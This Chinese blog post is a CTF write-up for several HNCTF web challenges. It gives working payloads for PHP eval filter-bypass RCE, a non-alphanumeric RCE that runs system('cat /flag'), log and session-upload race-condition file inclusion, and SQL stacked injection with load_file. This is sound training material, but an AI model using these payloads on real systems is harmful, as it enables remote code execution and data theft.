首页 > 其他分享 >HNCTF-web wp

HNCTF-web wp

时间:2022-11-01 22:01:32浏览次数:55  
标签:web HNCTF 文件 ++ flag session wp rce php

HNCTF-web wp

[WEEK2]Canyource

为期一个月的hnctf 我打了一下 有几道比较好的题目 (或者我之前没有遇到过的 )在这里记录一下

<?php
highlight_file(__FILE__);
if(isset($_GET['code'])&&!preg_match('/url|show|high|na|info|dec|oct|pi|log|data:\/\/|filter:\/\/|php:\/\/|phar:\/\//i', $_GET['code'])){
if(';' === preg_replace('/[^\W]+\((?R)?\)/', '', $_GET['code'])) {    
    eval($_GET['code']);}
else
    die('nonono');}
else
    echo('please input code');
?>

熟悉的无参数rce

eval(end(current(get_defined_vars())));&a=highlight_file('flag.php');

get_defined_vars() 获取四个全局变量的值

current()获取数组中当前元素的值

end()获取数组中最后一个元素的值

很简单不再多说了

[Week1]Challenge__rce

跟上一个题型差不多 这个是无数字字母rce

<?php
error_reporting(0);
if (isset($_GET['hint'])) {
    highlight_file(__FILE__);
}
if (isset($_POST['rce'])) {
    $rce = $_POST['rce'];
    if (strlen($rce) <= 120) {
        if (is_string($rce)) {
            if (!preg_match("/[!@#%^&*:'\-<?>\"\/|`a-zA-Z~\\\\]/", $rce)) {
                eval($rce);
            } else {
                echo("Are you hack me?");
            }
        } else {
            echo "I want string!";
        }
    } else {
        echo "too long!";
    }
}

过滤了上面那些东西

并且限制字符数目不能大于120

并且有过滤了 ^ 和 ~

那现在只能通过自增的方式来进行了

但是 如果通过自增的方法来 获取每个需要命令执行的字符的话 数量就超出限制了

那怎么办嘞 直接看payload 吧(这个payload是学长 当时打出来的)

<?php
$_=([].[])[0];//A


++$_;//B
$γ=++$_; //C
++$_; //D
$β=++$_; //E
++$_; //F

$Φ=++$_;  //G
$_=($γ.++$_.$_=($_.[])[2]);  //CHr
$_=${_.$Φ.$β.$_(84)}; //$_GET
//var_dump($_);
$_[_]($_[1]);  //$_GET[_]($_GET[1])

这里利用 chr函数 获取 T

然后 运用两个get传参 来任意命令执行

这里使

_ 为 system   1  为 cat /flag

payload

rce=$_=([].[])[0];++$_;$γ=++$_;++$_;$β=++$_;++$_;$Φ=++$_;$_=($γ.++$_.$_=($_.[])[2]);$_=${_.$Φ.$β.$_(84)};$_[_]($_[1]);

[WEEK2]easy_include

包含日志文件 之前只是听说过 但是 没有做过这样的题目 所有这里就写一下

包含 nginx 日志

http://43.143.7.97:28980/?file=/var/log/nginx/access.log

这里访问 不存在 的目录 然后 要用 burp来访问 要不然就直接 给url编码了

image-20221031213242726

image-20221031213256204

[WEEK3]Fun_php

直接把源码粘贴到 vscode中

image-20221031215647183

一个不可见字符的cve

http://blog.o3ev.cn/yy/439

别的 就不说了 剩下的就是 通过简单的判断

[WEEK3]QAQ_1inclu4e

session文件包含 条件竞争

QAQ 为参数 可以包含文件 然后过滤了 . 和 PHP

session基础知识

session 文件在 /tmp/sess_[phpsessid]

这个没有开启 session

No session_start()

当网站存在 文件包含漏洞,但是没有用户会话。即代码层 未输入 session_start() 可借助Session Upload Progress 因为session.upload_progress.name 是用户自定义的,POST 提交PHP_SESSION_UPLOAD_PROGRESS字段 只要上传包里带上这个键,php就会自动启用session 同时在Cookie中设置PHPSESSID的值。这样,请求的文件内容和命名都可控。

当文件上传结束后,php会立即清空对应session文件中的内容,这会导致我们包含的很可能只是一个空文件,所以我们要利用条件竞争,在session文件被清除之前利用。

直接编辑一个上传文件的包

<!doctype html>
<html>
<body>
<form action="http://43.142.108.3:28852/index.php" method="POST" enctype="multipart/form-data">
    <input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="<?php phpinfo();?>" />
    <input type="file" name="file" />
    <input type="submit" />
</form>
</body>
</html>

image-20221101205501577

image-20221101205509097

由于过滤了 php和 . 但是文件包含 可以包含 非php文件当作php文件解析

fun_sql

堆叠注入

只要查询 存在的用户名就可以die(flag)

payload

a' union select 1,2,database();insert into ccctttfff values('2','q','asdas');

然后查询 q 就可以 输出flag

还有一种 解法 是别的wp上写的 只用load_file()函数

虽然过滤了 flag 但是可以用拼接的方法

123' union select 1,load_file(concat('/var/www/html/fla','g.php')),3; --+

concat 在sql中可以拼接 绕过

标签:web,HNCTF,文件,++,flag,session,wp,rce,php
From: https://www.cnblogs.com/kkkkl/p/16849314.html

相关文章

  • web杂项
    一.网址参考1. 查看浏览器内核以及版本信息(navigator.userAgent)2. 静态网页与动态网页的区别?3. 静态网页与动态网页的区别......
  • 浅谈 web3
     web3——互联网的未来?  web3,很多人觉得是个骗局,是在割韭菜。 因为大部分介绍web3的文章都离不开NFT、数字货币、区块链、比特币、以太坊、元宇宙等概......
  • 【WPF 依赖注入】WPF Ioc (Inversion of control) 控制反转 应用案例
    实现控制反转的前提是依赖倒置案例项目   在App.xam=》App.xam.cs中配置服务usingCTMvvmDemo.MVVM.Views;usingCTMvvmDemo.MVVM.ViewsModels;usingCTMvvmD......
  • 如何将传统 Web 框架迁移部署到 Serverless 架构?
    简介: 与其说Serverless架构是一个新的概念,不如说它是一种全新的思路,一种新的编程范式。与其说Serverless架构是一个新的概念,不如说它是一种全新的思路,一种......
  • CanvasAPP通过web端访问时,如何隐藏顶部栏
    如下图所示,当我们通过url链接访问canvasapp时,顶部有个导航栏  如何隐藏导航栏呢,只需要在访问的url后面加上参数&hidenavbar=true即可,效果如下图  ......
  • javaweb四大域
    什么是域?一句话总结:就是用来存数据的地方,里面存储的数据都是以key/value的形式存储javaweb中有四大域,他们的作用范围如下:PageContext<request<session<ServletConte......
  • 使用vue-handsontable实现web execl编辑
    npminstall--savevue-handsontable-official<template><divclass="wrap"><HotTable:root="test":settings="hotSettings"></HotTable></div></template><scri......
  • Web响应式(二)
    内容:媒体查询媒体查询语法组合媒体查询一、媒体查询媒体查询,可以根据设备的能力应用特定的CSS样式。比如,可以根据视口宽度、屏幕宽高比和朝向(水平还是垂直)等,只用几......
  • web服务器12 中间件函数
    //1,导入expressconstexpress=require('express')constapp=express()//3定义一个中间件//constmw=(req,res,next)=>{//console.log('中间件');//......
  • ViewPager2实现Tab标签页面
    是在此篇博文Viewpager迁移至ViewPager2实现Tab标签页面_Code-Porter的博客-CSDN博客的基础上对一些细节进行了补充,请支持原作者。使用的编译软件是AndroidStudio2019......